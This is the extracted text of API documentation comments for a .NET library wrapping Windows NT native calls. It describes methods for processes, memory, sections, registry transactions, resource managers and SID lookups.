Set a value to the object from a buffer. + + The information class to set. + The value to set. + True to throw on error. + The NT status code of the set. + Thrown on error. + + + + Set a value to the object from a buffer.. + + The information class to set. + The value to set. + The NT status code of the set. + Thrown on error. + + + + Set a raw value to the object. + + The information class to set. + The raw value to set. + True to throw on error. + The NT status code of the set. + Thrown on error. + + + + Set a raw value to the object. + + The information class to set. + The raw value to set. + The NT status code of the set. + Thrown on error. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Overriddable method to determine the maximum brute force length for query. + + Information class to key on if needs to return different sizes. + The maximum bytes to brute force. Returning 0 will disable brute force. + + + + Overridable method to determine if the return length shouldn't be trusted for this info class when querying a variable buffer. + + Information class to key on. + True to trust the return length when querying a variable buffer. + + + + Class representing a NT Partition object + + + + + Create a partition object + + The object attributes + Optional parent parition. + Desired access for the partition. + The preferred node, -1 for any node. + True to throw an exception on error. + The NT status code and object result. + + + + Create a partition object + + The object attributes + Optional parent parition. + Desired access for the partition. + The preferred node, -1 for any node. + The NT status code and object result. + + + + Open a partition object + + The object attributes + Desired access for the partition. + True to throw an exception on error. + The NT status code and object result. + + + + Open a partition object + + The object attributes + Desired access for the partition. + The NT status code and object result. + + + + Class representing a NT Process object. + + + + + Gets all accessible processes on the system. + + The access desired for each process. + The list of accessible processes. + + + + Gets all accessible processes on the system. + + The access desired for each process. + True to get processes from system information rather than NtGetNextProcess + The list of accessible processes. + + + + Gets all accessible processes on the system in a particular session. + + The session ID. + The access desired for each process. + The list of accessible processes. + + + + Gets all accessible processes on the system in the current session session. + + The access desired for each process. + The list of accessible processes. + + + + Get first accessible process (used in combination with GetNextProcess) + + The access required for the process. + The accessible process, or null if one couldn't be opened. + + + + Open a process + + The process ID to open + Optional thread ID to verify the correct process is opened. + The desired access for the handle + True to throw an exception on error. + The NT status code and object result. + + + + Open a process + + The process ID to open + The desired access for the handle + True to throw an exception on error. + The NT status code and object result. + + + + Open a process + + The process ID to open + The desired access for the handle + The opened process + + + + Open a process + + The process ID to open + Optional thread ID to verify the correct process is opened. + The desired access for the handle + The opened process. + + + + Create a new process + + Optional object attributes. + Desired access for the new process. + The parent process + Creation flags + Handle to the executable image section + Debug port for the new process. + Access token for the new process. + True to throw on error. + The created process + + + + Create a new process + + Desired access for the new process. + Optional object attributes. + The parent process + Creation flags + Handle to the executable image section + Debug port for the new process. + Access token for the new process. + The created process + + + + Create a new process + + The parent process + Creation flags + Handle to the executable image section + Access token for the new process. + The created process + + + + Create a new process + + The parent process + Creation flags + Handle to the executable image section + The created process + + + + Create a new process + + Handle to the executable image section + Access token for the new process. + The created process + + + + Create a new process + + Handle to the executable image section + The created process + + + + Create a new process + + Optional object attributes. + Desired access for the new process. + The parent process + Creation flags + Handle to the executable image section + Debug port for the new process. + Access token for the new process. + True to throw on error. + The created process + This uses NtCreateProcessEx rather than NtCreateUserProcess + + + + Create a new process + + Desired access for the new process. + Optional object attributes. + The parent process + Creation flags + Handle to the executable image section + Debug port for the new process. + Access token for the new process. + The created process + + + + Create a new user process. + + The process configuration. + True to throw on error. + The result of the process creation + + + + Create a new user process. + + The process configuration. + The result of the process creation + + + + Fork a process. + + The process configuration. + True to throw on error. + The new forked process result + This uses NtCreateUserProcess. + + + + Fork a process. + + The process configuration. + The new forked process result + This uses NtCreateUserProcess. + + + + Open an actual handle to the current process rather than the pseudo one used for Current + + The process object + + + + Test whether a process can access another protected process. + + The current process. + The target process. + True if the process can be accessed. + + + + Reopen object with different access rights. + + The desired access. + Additional attributes for open. + True to throw on error. + The reopened object. + + + + Get next accessible process (used in combination with GetFirstProcess) + + The access required for the process. + The accessible process, or null if one couldn't be opened. + + + + Get previous accessible process (used in combination with GetFirstProcess) + + The access required for the process. + The accessible process, or null if one couldn't be opened. + + + + Get previous accessible process (used in combination with GetFirstProcess) + + The accessible process, or null if one couldn't be opened. + + + + Get first accessible thread for process. + + The desired access for the thread. + The first thread object, or null if not accessible threads. + + + + Get first accessible thread for process. + + The first thread object, or null if not accessible threads. + + + + Get accessible threads for a process. + + The desired access for the threads + The list of threads + + + + Get accessible threads for a process. + + The list of threads + + + + Read a partial PEB from the process. + + The read PEB structure. + + + + Create a new process + + Creation flags + Handle to the executable image section + The created process + This uses NtCreateProcessEx rather than NtCreateUserProcess + + + + Create a new process + + Optional object attributes. + Desired access for the new process. + Creation flags + Handle to the executable image section + Debug port for the new process. + Access token for the new process. + True to throw on error. + The created process + This uses NtCreateProcessEx rather than NtCreateUserProcess + + + + Create a new process + + Optional object attributes. + Desired access for the new process. + Creation flags + Handle to the executable image section + Debug port for the new process. + Access token for the new process. + The created process + This uses NtCreateProcessEx rather than NtCreateUserProcess + + + + Terminate the process + + The exit code for the termination + + + + Terminate the process + + The exit code for the termination + + + + Terminate the process + + The exit code for the termination + True to throw on error. + The NT status code. + + + + Get process image file path + + True to return the native image path, false for a Win32 style path + True to throw on error. + The process image file path + + + + Get process image file path + + True to return the native image path, false for a Win32 style path + The process image file path + + + + Get a mitigation policy raw value + + The policy to get + True to throw on error. + The raw policy value + + + + Get a mitigation policy raw value + + The policy to get + The raw policy value + + + + Get a mitigation policy as an enumeration. + + The policy to get. + True to throw on error. + The mitigation policy value + + + + Get a mitigation policy as an enumeration. + + The policy to get. + The mitigation policy value + + + + Get a mitigation policy raw value + + The policy to get + True to throw on error. + The raw policy value + + + + Get a mitigation policy raw value + + The policy to get + The raw policy value + + + + Set a mitigation policy raw value + + The policy to set + The value to set + True to throw on error. + The NT status code. + + + + Set a mitigation policy raw value + + The policy to set + The value to set + + + + Set a mitigation policy value from an enum. + + The policy to set + The value to set + True to throw on error. + The NT status code. + + + + Set a mitigation policy value from an enum. + + The policy to set + The value to set + + + + Set a mitigation policy raw value + + The policy to set + The value to set + True to throw on error. + The NT status code. + + + + Set a mitigation policy raw value + + The policy to set + The value to set + + + + Disable dynamic code policy on another process. + + + + + Suspend the entire process. + + True to throw on error. + The NT status code. + + + + Resume the entire process. + + True to throw on error. + The NT status code. + + + + Suspend the entire process. + + + + + Resume the entire process. + + + + + Open the process' token + + The process token. + + + + Open the process' token + + True to throw on error. + The process token. + + + + Open the process' token + + Desired access for token. + True to throw on error. + The process token. + + + + Set process access token. Process must be have not been started. + + The token to set. + True to throw on error. + The NT status code. + + + + Set process access token. Process must be have not been started. + + The token to set. + + + + Read memory from a process. + + The base address in the process. + The length to read. + If true ensure we read all bytes, otherwise throw on exception. + The array of bytes read from the location. + If a read is short then returns fewer bytes than requested. + Thrown on error. + + + + Read memory from a process. + + The base address in the process. + The length to read. + The array of bytes read from the location. + If a read is short then returns fewer bytes than requested. + Thrown on error. + + + + Write memory to a process. + + The base address in the process. + The data to write. + The number of bytes written to the location + Thrown on error. + + + + Read structured memory from a process. + + The base address in the process. + The read structure. + Thrown on error. + Type of structure to read. + + + + Write structured memory to a process. + + The base address in the process. + The data to write. + Thrown on error. + Type of structure to write. + + + + Read structured memory array from a process. + + The base address in the process. + The number of elements in the array to read. + The read structure. + Thrown on error. + Type of structure to read. + + + + Write structured memory array to a process. + + The base address in the process. + The data array to write. + Thrown on error. + Type of structure to write. + + + + Query memory information for a process. + + The base address. + The queries memory information. + Thrown on error. + + + + Query all memory information regions in process memory. + + The list of memory regions. + Specify memory types to filter on. + Set of flags which indicate the memory states to return. + Thrown on error. + + + + Query all memory information regions in process memory. + + The list of memory regions. + True to include free regions of memory. + Specify memory types to filter on. + Thrown on error. + + + + Query all memory information regions in process memory. + + The list of memory regions. + True to include free regions of memory. + Thrown on error. + + + + Query all memory information regions in process memory excluding free regions. + + The list of memory regions. + Thrown on error. + + + + Query a list of mapped images in a process. + + The list of mapped images + Thrown on error. + + + + Query a list of mapped files in a process. + + The list of mapped images + Thrown on error. + + + + Query a list of all mapped files and images in a process. + + The list of mapped images + Thrown on error. + + + + Allocate virtual memory in a process. + + Optional base address, if 0 will automatically select a base. + The region size to allocate. + The type of allocation. + The allocation protection. + True to throw on error. + The address of the allocated region. + Thrown on error. + + + + Allocate virtual memory in a process. + + Optional base address, if 0 will automatically select a base. + The region size to allocate. + The type of allocation. + The allocation protection. + The address of the allocated region. + Thrown on error. + + + + Allocate read/write virtual memory in a process. + + The region size to allocate. + The address of the allocated region. + Thrown on error. + + + + Free virtual emmory in a process. + + Base address of region to free + The size of the region. + The type to free. + Thrown on error. + + + + Free virtual emmory in a process. + + Base address of region to free + The size of the region. + The type to free. + True to throw on error. + Thrown on error. + + + + Change protection on a region of memory. + + The base address + The size of the memory region. + The new protection type. + The old protection for the region. + Thrown on error. + + + + Change protection on a region of memory. + + The base address + The size of the memory region. + The new protection type. + True to throw on error. + The old protection for the region. + Thrown on error. + + + + Flush instruction cache. + + The address to flush. + The number of bytes to flush/ + True to throw on error. + The NT status code. + + + + Flush instruction cache. + + The address to flush. + The number of bytes to flush/ + + + + Query working set information for an address in a process. + + The base address to query. + True to throw on error + The working set information. + Thrown on error. + + + + Query working set information for an address in a process. + + The base address to query. + The working set information. + Thrown on error. + + + + Set the process device map. + + The device map directory to set. + Note that due to a bug in the Wow64 layer this won't work in a 32 bit process on a 64 bit system. + + + + Set the process device map. + + The device map directory to set. + True to throw on error. + Note that due to a bug in the Wow64 layer this won't work in a 32 bit process on a 64 bit system. + + + + Set the process device map. + + The device map directory to set. + Note that due to a bug in the Wow64 layer this won't work in a 32 bit process on a 64 bit system. + + + + Set the process device map. + + The device map directory to set. + True to throw on error. + Note that due to a bug in the Wow64 layer this won't work in a 32 bit process on a 64 bit system. + + + + Open a process' debug object. + + True to throw on error. + The process' debug object. + + + + Open a process' debug object. + + The process' debug object. + + + + Queries whether process is backed by a specific file. + + File object opened with Synchronize and Execute access to test against. + True if the process is created from the image file. + + + + Open parent process by ID. + + The desired process access rights. + True to throw on error. + The opened process. + Thrown on error. + + + + Open parent process by ID. + + The desired process access rights. + The opened process. + Thrown on error. + + + + Open parent process by ID. + + The opened process. + Thrown on error. + + + + Open owner process by ID. + + The desired process access rights. + True to throw on error. + The opened process. + Thrown on error. + + + + Open owner process by ID. + + The desired process access rights. + The opened process. + Thrown on error. + + + + Open owner process by ID. + + The opened process. + Thrown on error. + + + + Get if process is in a job. + + A specific job to check + True if in specific job. + + + + Get if process is in a job. + + True if in a job. + + + + Get process handle table. + + The list of process handles. + + + + Get handles for process. + + Specify to all name/details to be queried from the handle. + Force file query for name/details for non-filesystem handles. + True to throw on error. + The list of handles. + This queries the handles from the process which does not contain the Object's addres in kernel memory. + + + + Get handles for process. + + Specify to all name/details to be queried from the handle. + True to throw on error. + The list of handles. + This queries the handles from the process which does not contain the Object's addres in kernel memory. + + + + Get handles for process. + + Specify to all name/details to be queried from the handle. + The list of handles. + This queries the handles from the process which does not contain the Object's addres in kernel memory. + + + + Get handles for process. + + The list of handles. + This queries the handles from the process which does not contain the Object's addres in kernel memory. + + + + Get the process handle table and try and get them as objects. + + True to only return named objects + A list of typenames to filter on (if empty then return all) + The list of handles as objects. + This function will drop handles it can't duplicate. + + + + Get the process handle table and try and get them as objects. + + The list of handles as objects. + This function will drop handles it can't duplicate. + + + + Open image section for process. + + True to throw on error. + The opened image section. + Should only work on the pseudo process handle. + + + + Open image section for process. + + The opened image section. + Should only work on the pseudo process handle. + + + + Unmap a section. + + The base address to unmap. + Flags for unmapping memory. + True to throw on error. + The NT status code. + + + + Unmap a section. + + The base address to unmap. + True to throw on error. + The NT status code. + + + + Unmap a section. + + The base address to unmap. + Flags for unmapping memory. + + + + Unmap a section. + + The base address to unmap. + + + + Get the user SID for the process. + + True to throw on error. + The user SID. + + + + Get the user SID for the process. + + The user SID. + + + + Get the integrity level for the process. + + True to throw on error. + The integerity level. + + + + Set process fault flags. + + The flags to set. + True to throw on error. + The NT status code for the operation. + + + + Set process fault flags. + + The flags to set. + The NT status code for the operation. + + + + Set the process exception port. + + The exception port to set. + Additional state flags. + True to throw on error. + The NT status code. + + + + Set the process exception port. + + The exception port to set. + True to throw on error. + The NT status code. + + + + Set the process exception port. + + The exception port to set. + The NT status code. + + + + Get the user process parameters. + + The user process parameters. + + + + Fork the process. + + Extra flags for fork. + True to throw on error. + The new forked process result. + This uses NtCreateProcessEx. + + + + Fork the process. + + Extra flags for fork. + The new forked process result. + This uses NtCreateProcessEx. + + + + Fork the process. + + The new forked process result. + This uses NtCreateProcessEx. + + + + Get the accessible job objects this process is in. + + This tries to find accessible Job handles. There's no guarantee that all Job objects will be found for the process. + The list of job objects. + + + + Set thread intelligence logging flags. + + The flags to set. + True to throw on error. + The NT status code. + + + + Set thread intelligence logging flags. + + The flags to set. + + + + Get the process security domain. + + True to throw on error. + The security domain. + + + + Get the process security domain. + + The security domain. + + + + Combine two process' security domains. + + The process to combine with. Needs QueryLimitedInformation. + True to throw on error. + The NT status code. + The current process need SetLimitedInformation access. + + + + Combine two process' security domains. + + The process to combine with. Needs QueryLimitedInformation. + The current process need SetLimitedInformation access. + + + + Get the session ID for the process. + + True to throw on error. + The session ID. + + + + Test whether the current process can access another protected process. + + The target process. + True if the process can be accessed. + + + + Get the environment from the process. + + List of environment variables. + + + + Get an environment variable by name. + + The name of the variable. + The value of the environment variable. Returns null if it doesn't exist. + Only returns the first variable with a case insensitive name. + + + + Revoke file handles for an AppContainer process. + + The device path for the files to revoke. + True to throw on error. + The NT status code. + + + + Revoke file handles for an AppContainer process. + + The device path for the files to revoke. + + + + Get the process command line. + + True to throw on error. + The process command line. + + + + Get the IO counters for the process. + + True to throw on error. + The IO counters. + + + + Create a VBS enclave. + + Size of the enclave. + Flags for the enclave. + Owner ID. Must be 32 bytes. + True to throw on error. + The created enclave. + + + + Create a VBS enclave. + + Size of the enclave. + Flags for the enclave. + Owner ID. Must be 32 bytes. + The created enclave. + + + + Get priority boost disable value. + + True to throw on error. + True if priority base + + + + Set priority boost disable value. + + True to disable priority boost. + True to throw on error. + The NT status code. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get the process' session ID + + + + + Get the process' ID + + + + + Get the process' parent process ID + + + + + Get the memory address of the PEB + + + + + Get the memory address of the PEB for a 32 bit process. + + If the process is 64 bit, or the OS is 32 bit this returns the same value as PebAddress. + + + + Get the base address of the process from the PEB. + + + + + Read flags from PEB. + + + + + Get the process' exit status. + + + + + Get the process' exit status as an NtStatus code. + + + + + Get the process' command line + + + + + Get the command line as parsed arguments. + + + + + Get process DEP status + + + + + Get whether process has a debug port. + + + + + + Get handle count. + + + + + Get break on termination flag. + + + + + Get or set debug flags. + + + + + Get or set execute flags. + + + + + Get IO priority. + + + + + Get secure cookie. + + + + + Get the process user. + + + + + Get the integrity level of the process. + + + + + Get process mitigations + + + + + Get extended process flags. + + + + + Get process window title (from Process Parameters). + + + + + Get process window flags (from Process Parameters). + + + + + Get the process subsystem type. + + + + + Get if the process is Wow64 + + + + + Get whether the process is 64bit. + + + + + Get whether LUID device maps are enabled. + + + + + Return whether this process is sandboxed. + + + + + Get or set the hard error mode. + + + + + Does the process has a child process restriction? + + + + + Gets whether the process is currently deleting. + + + + + Gets whether the process is secure. + + + + + Gets whether the process is protected. + + + + + Gets whether the process is a subsystem process. + + + + + Gets whether the process is frozen. + + + + + Get process protection information. + + + + + Query process section image information. + + + + + Get full image path name in native format + + + + + Get the Win32 image path. + + + + + Get owner process ID + + + + + Query the process token's full package name. + + + + + Get or set whether resource virtualization is enabled. + + + + + Get the security domain of the process. + + + + + Get the creation time of the process. + + + + + Get the exit time of the process. + + + + + Get the time spent in the kernel. + + + + + Get the time spent in user mode. + + + + + Get the time spent in the kernel in seconds. + + + + + Get the time spent in user mode. + + + + + Get the process IO counters. + + + + + Get or set priority boost disabled. + + + + + Get the current process. + + This only uses the pseudo handle, for the process. If you need a proper handle use OpenCurrent. + + + + Get the current PEB address. + + + + + Configuration for a new NT Process. + + + + + Path to the executable to start. + + + + + Path to the executable to start which is passed in the process configuration. + + This doesn't have to match ImagePath. + + + + Command line + + + + + Prepared environment block. + + + + + Title of the main window. + + + + + Path to DLLs. + + + + + Current directory for new process + + + + + Desktop information value + + + + + Shell information value + + + + + Runtime data. + + + + + Prohibited image characteristics for new process + + + + + Additional file access for opened executable file. + + + + + Process create flags. + + + + + Thread create flags. + + + + + Initialization flags + + + + + Parent process. + + + + + Specify child process mitigations. + + + + + Whether to terminate the process on dispose. + + + + + Specify a security descriptor for the process. + + + + + Specify a security descriptor for the initial thread. + + + + + Specify the primary token for the new process. + + + + + Access for process handle. + + + + + Access for thread handle. + + + + + Set protection level. + + + + + Set to create a trustlet. + + + + + Set to specify the configuration for the trustlet if Secure is set. + + + + + Capture additional information when NtProcess.Create returns. + + + + + Specify callback to update process parameters. + + + + + Redirection DLL path. Only supported from 1903. + + + + + Inheritable handles. + + + + + Debug object. + + + + + Toggle inherit handles process create flag. + + + + + Add an extra process/thread attribute. + + The process attribute to add. + The caller is responsible for disposing the attribute, this class does not hold a reference. + + + + Set protected process protection level. + + The type of protected process. + The signer level. + + + + Constructor + + + + + Result from creating a user process. + + + + + Handle to the process + + + + + Handle to the initial thread + + + + + Handle to the image file + + + + + Handle to the image section + + + + + Handle to the IFEO key (if it exists) + + + + + Image information + + + + + Client ID of process and thread + + + + + Process ID + + + + + Thread ID + + + + + Create status. + + + + + True if create succeeded. + + + + + DLL characterists if CreateState is FailMachineMismatch. + + + + + Creation state + + + + + Output flags if CreateStatus is Success. + + + + + Native user process parameters pointer if CreateStatus is Success. + + + + + Wow64 user process parameters pointer if CreateStatus is Success. + + + + + Current parameter flags if CreateStatus is Success. + + + + + PEB pointer if CreateStatus is Success. + + + + + Wow64 PEB pointer if CreateStatus is Success. + + + + + Manifest pointer if CreateStatus is Success. + + + + + Manifest size if CreateStatus is Success. + + + + + Set to true to terminate process on disposal + + + + + Terminate the process + + Exit code for termination + + + + Resume initial thread + + The suspend count + + + + Explicit conversion operator to an NtThread object. + + The win32 process + + + + Explicit conversion operator to an NtProcess object. + + The win32 process + + + + Dispose + + + + + Entry for a process environment block. + + + + + Name of the environment variable. + + + + + Value of the environment variable. + + + + + Constructor. + + Name of the environment variable. + Value of the environment variable. + + + + Class representing various process mitigations + + + + + Partial definition of the PEB + + + + + Partial definition of the PEB + + + + + Class which represents the configuration for a trustlet. + + + + + The ID of the trustlet. + + + + + The mailbox key. Must be 2 longs. + + + + + The collaboration ID. Must be 2 longs. + + + + + The VM ID. Must be 2 longs. + + + + + The TK sessio ID. Must be 4 longs. + + + + + Overridden ToString method. + + The object as a string. + + + + Create a trustlet configuration from an image file. + + The path to the image file. Should be a native path. + True to throw on error. + The trustlet configuration. + + + + Create a trustlet configuration from an image file. + + The path to the image file. Should be a win32 path. + The trustlet configuration. + + + + Constructor + + + + + Constructor + + The ID of the trustlet. + + + + Class to represent a registry transaction object + + + + + Create a transaction + + The object attributes + Desired access for the handle + True to throw an exception on error. + The NT status code and object result. + + + + Create a transaction + + The object attributes + Desired access for the handle + The opened transaction + + + + Create a transaction + + The path of the transaction + The root if path is relative + The opened transaction + + + + Create a transaction + + The path of the transaction + The opened transaction + + + + Create a transaction + + The opened transaction + + + + Open a transaction object. + + The path to the object + The root if path is relative + The desired access for the object + The opened object + + + + Open a transaction object. + + The object attributes for the object + The desired access for the object + True to throw an exception on error. + The NT status code and object result. + + + + Open a transaction object. + + The object attributes for the object + The desired access for the object + The opened object + + + + Open a transaction object. + + The path to the object + The opened object + + + + Commit the transaction + + + + + Rollback the transaction + + + + + Enable the transaction for anything in the current thread context. + + The transaction context. This should be disposed to disable the transaction. + + + + Class to represent a transaction resource manager. + + + + + Create a new resource manager object. + + The object attributes + Desired access for the handle + Creation options flags. + Optional transaction manager to assign the resource manager to. + Resource manager GUID. + Optional description. + True to throw an exception on error. + The NT status code and object result. + + + + Create a new resource manager object. + + The object attributes + Desired access for the handle + Creation options flags. + Optional transaction manager to assign the resource manager to. + Resource manager GUID. + Optional description. + The object result. + Thrown on error. + + + + Create a new resource manager object. + + The path to the resource manager. + The root if path is relative. + Desired access for the handle + Creation options flags. + Optional transaction manager to assign the resource manager to. + Resource manager GUID. + Optional description. + True to throw an exception on error. + The NT status code and object result. + + + + Create a new resource manager object. + + The path to the resource manager. + The root if path is relative. + Desired access for the handle + Creation options flags. + Optional transaction manager to assign the resource manager to. + Resource manager GUID. + Optional description. + The object result. + Thrown on error. + + + + Create a new volatile resource manager object. + + The path to the resource manager. + The root if path is relative. + Desired access for the handle + Optional transaction manager to assign the resource manager to. + Resource manager GUID. + The object result. + Thrown on error. + + + + Create a new volatile resource manager object. + + The path to the resource manager. + The root if path is relative. + Desired access for the handle + Optional transaction manager to assign the resource manager to. + The object result. + Thrown on error. + + + + Create a new volatile resource manager object. + + The path to the resource manager. + The root if path is relative. + Optional transaction manager to assign the resource manager to. + The object result. + Thrown on error. + + + + Create a new volatile resource manager object. + + The path to the resource manager. + Optional transaction manager to assign the resource manager to. + The object result. + Thrown on error. + + + + Create a new volatile resource manager object. + + Optional transaction manager to assign the resource manager to. + The object result. + Thrown on error. + + + + Opens an existing resource manager object. + + The object attributes + Desired access for the handle + Transaction manager which contains the resource manager. + Resource manager GUID. + True to throw an exception on error. + The NT status code and object result. + + + + Opens an existing resource manager object. + + The object attributes + Desired access for the handle + Transaction manager which contains the resource manager. + Resource manager GUID. + The object result. + Thrown on error. + + + + Recover the the transaction manager. + + True to throw on error. + The NT status code. + + + + Recover the the transaction manager. + + + + + Set an IO completion port on the resource manager. + + The IO completion port. + Associated completion key. + True to throw on error. + The NT status code. + + + + Set an IO completion port on the resource manager. + + The IO completion port. + Associated completion key. + + + + Get a notification synchronously. + + Optional timeout for getting the notification. + True to throw on error. + The transaction notification. + + + + Get a notification synchronously. + + Optional timeout for getting the notification. + The transaction notification. + + + + Get a notification synchronously waiting indefinetly. + + The transaction notification. + + + + Register protocol information. + + The ID of the protocol to register. + An opaque protocol buffer. + Optional create options. + True to throw on error. + The NT status code. + + + + Register protocol information. + + The ID of the protocol to register. + An opaque protocol buffer. + Optional create options. + + + + Complete propagation request. + + The cookie to identify the request. + An optional buffer to pass with the request. + True to throw on error. + The NT status code. + + + + Complete propagation request. + + The cookie to identify the request. + An optional buffer to pass with the request. + + + + Fail propagation request. + + The cookie to identify the request. + Optional NT status code for the failure. + True to throw on error. + The NT status code. + + + + Get a list of all accessible enlistment objects owned by this resource manager. + + The object attributes + The access for the enlistment objects. + The list of all accessible enlistment objects. + + + + Get a list of all accessible enlistment objects owned by this resource manager. + + The access for the enlistment objects. + The list of all accessible enlistment objects. + + + + Get a list of all accessible resource manager objects owned by this transaction manager. + + The list of all accessible resource manager objects. + + + + Create an enlistment in this resource manager. + + Desired access for the handle + The transaction to enlist. + Optional create options. + Notification mask. + Enlistment key returned during notification. + True to throw an exception on error. + The created enlistment and NT status code. + + + + Create an enlistment in this resource manager. + + Desired access for the handle + The transaction to enlist. + Optional create options. + Notification mask. + Enlistment key returned during notification. + The created enlistment. + + + + Create an enlistment in this resource manager. + + The transaction to enlist. + Notification mask. + Enlistment key returned during notification. + The created enlistment. + + + + Create an enlistment in this resource manager. + + The transaction to enlist. + Enlistment key returned during notification. + The created enlistment. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get the resource manager ID. + + + + + Get the description for the resource manager. + + + + + A structure to return the result of an NT system call with status. + This allows a function to return both a status code and a result + without having to resort to out parameters. + + The result type. + + + + The NT status code. + + + + + The result of the NT call. + + + + + Get the result object or throw an exception if status code is an error. + + The result NT result. + Thrown if status code is an error. + + + + Get the result object or a default value if an error occurred. + + The default value to return. + The result or the default if an error occurred. + + + + Get the result object or a default value if an error occurred. + + The result or the default if an error occurred. + + + + Is the result successful. + + + + + Map result to a different type. + + The different type to map to. + A function to map the result. + The mapped result. + + + + Map result to a different type. + + The different type to map to. + A function to map the result. + The mapped result. + + + + Cast result to a different type. + + The different type to cast to. + The mapped result. + + + + Forward the result and check for an exception. + + True to throw on error. + The forwarded result. + + + + Dispose result. + + + + + Create a result from an error. + + The error status code. + True to throw on error. + The result. + + + + Create a result. + + + Create a new result. + + + + Conversion operator from T to object. + + The result to convert. + + + + Compression format for RtlDecompressBuffer. + + + + + Class to represent a NT Section object + + + + + Create an Image section object + + The object attributes for the image section. + The file to create the image section from + The opened section + Thrown on error. + + + + Create an Image section object + + The object name to use for the image section. + Root directory for the object. + The file to create the image section from + The opened section + Thrown on error. + + + + Create an Image section object + + The object name to use for the image section. + The file to create the image section from + The opened section + Thrown on error. + + + + Create an Image section object + + The file to create the image section from + The opened section + Thrown on error. + + + + Create a data section from a file. + + The file to create from. + The created section object. + + + + Create a section object + + The object attributes + The desired access + Optional size of the section + The section protection + The section attributes. The lower 5 bits can be used to specify the NUMA node. + Optional backing file + True to throw an exception on error. + The NT status code and object result. + + + + Create a section object + + The object attributes + The desired access + Optional size of the section + The section protection + The section attributes + Optional backing file + The opened section + Thrown on error. + + + + Create a section object + + The path to the section + The root if path is relative + The desired access + Optional size of the section + The section protection + The section attributes. The lower 5 bits can be used to specify the NUMA node. + Optional backing file + The opened section + Thrown on error. + + + + Create a section object + + Size of the section + The opened section + Thrown on error. + + + + Create a section object + + The object attributes + The desired access + Optional size of the section + The section protection + The section attributes + Optional backing file + Extended parameters for section create. + True to throw an exception on error. + The NT status code and object result. + + + + Create a section object + + The object attributes + The desired access + Optional size of the section + The section protection + The section attributes + Optional backing file + Extended parameters for section create. + The NT status code and object result. + + + + Open a section object + + The object attributes for the section + The desired access for the sections + True to throw an exception on error. + The NT status code and object result. + + + + Open a section object + + The object attributes for the section + The desired access for the sections + The opened section + + + + Open a section object + + The path to the section + Root object if the path is relative + The desired access for the sections + The opened section + + + + Unmap a section in a specified process. + + The process to unmap the section. + The base address to unmap. + Flags for unmapping memory. + True to throw on error. + The NT status code. + + + + Unmap a section in a specified process. + + The process to unmap the section. + The base address to unmap. + True to throw on error. + The NT status code. + + + + Unmap a section in the current process. + + The base address to unmap. + True to throw on error. + The NT status code. + + + + Unmap a section in a specified process. + + The process to unmap the section. + The base address to unmap. + Flags for unmapping memory. + + + + Unmap a section in a specified process. + + The process to unmap the section. + The base address to unmap. + + + + Unmap a section in the current process. + + The base address to unmap. + + + + Map section Read/Write into a specific process + + The process to map into + The mapped section + + + + Map section Read Only into a specific process + + The process to map into + The mapped section + + + + Map section Read/Write into a specific process + + The process to map into + True to throw on error. + The mapped section + + + + Map section Read Only into a specific process + + The process to map into + True to throw on error. + The mapped section + + + + Map section Read Only into a current process + + The mapped section + + + + Map section Read Only into a current process + + True to throw on error. + The mapped section + + + + Map section Read/Write into a current process + + The mapped section + + + + Map section Read/Write into a current process + + True to throw on error. + The mapped section + + + + Map section into a specific process + + The process to map into + The protection of the mapping + The mapped section + + + + Map section into a specific process + + The process to map into + The protection of the mapping + True to throw on error. + The mapped section + + + + Map section into a specific process + + The process to map into + The protection of the mapping + Optional base address + Number of zero bits. + Size of pages to commit. + Offset into the section. + Optional view size + Allocation type. + Section inheritance type. + True to throw on error. + The mapped section + + + + Map section into a specific process + + The process to map into + The protection of the mapping + Optional base address + Number of zero bits. + Size of pages to commit. + Offset into the section. + Optional view size + Allocation type. + Section inheritance type. + The mapped section + + + + Map section into a specific process + + The process to map into + The protection of the mapping + Optional base address + Optional view size + The mapped section + + + + Map section into a specific process + + The process to map into + The protection of the mapping + Optional base address + Optional view size + True to throw on error. + The mapped section + + + + Map section into the current process + + The protection of the mapping + The mapped section + + + + Extend the section to a new size. + + The new size to extend to. + True to throw on error. + The new size. + Thrown on error. + + + + Extend the section to a new size. + + The new size to extend to. + The new size. + Thrown on error. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Get the size of the section + + + + + Get the attributes of the section + + + + + Get section image information. + + + + + Get original section base address. + + + + + Get relocation address. + + + + + Static class to access NT security manager routines. + + + + + Looks up the account name of a SID. + + The system name to lookup the SID on. + The SID to lookup + True to throw on error. + The name. + + + + Looks up the account name of a SID. + + The SID to lookup + True to throw on error. + The name. + + + + Looks up the account name of a SID. + + The SID to lookup + The SID name. + Thrown if lookup fails. + + + + Looks up the account name of a SID. + + The SID to lookup + True to throw on error. + The name. + + + + Looks up the account name of a SID. + + The SID to lookup + The name, or null if the lookup failed + + + + Looks up a capability SID to see if it's already known. + + The capability SID to lookup + The name of the capability, null if not found. + + + + Lookup a SID from a username. + + The system name to lookup the SID on. + The username, can be in the form domain\account. + True to throw on error. + The Security Identifier + Thrown if account cannot be found. + + + + Lookup a SID from a username. + + The system name to lookup the SID on. + The username, can be in the form domain\account. + The Security Identifier + Thrown if account cannot be found. + + + + Lookup a SID from a username. + + The username, can be in the form domain\account. + The Security Identifier + Thrown if account cannot be found. + + + + Lookup the name of a process trust SID. + + The trust sid to lookup. + The name of the trust sid. null if not found. + Thrown if trust_sid is not a trust sid. + + + + Try and lookup the moniker associated with a package sid. + + The package sid. + Returns the moniker name. If not found returns null. + Thrown if SID is not a package sid. + + + + Lookup a device capability SID name if known. + + The SID to lookup. + Returns the device capability name. If not found returns null. + Thrown if SID is not a package sid. + + + + Convert a package SID to a capability. + + The package SID to convert. + The package SID as a capability. + + + + Convert a security descriptor to SDDL string + + The security descriptor + Indicates what parts of the security descriptor to include + The SDDL string + Thrown if cannot convert to a SDDL string. + + + + Convert a security descriptor to SDDL string + + The security 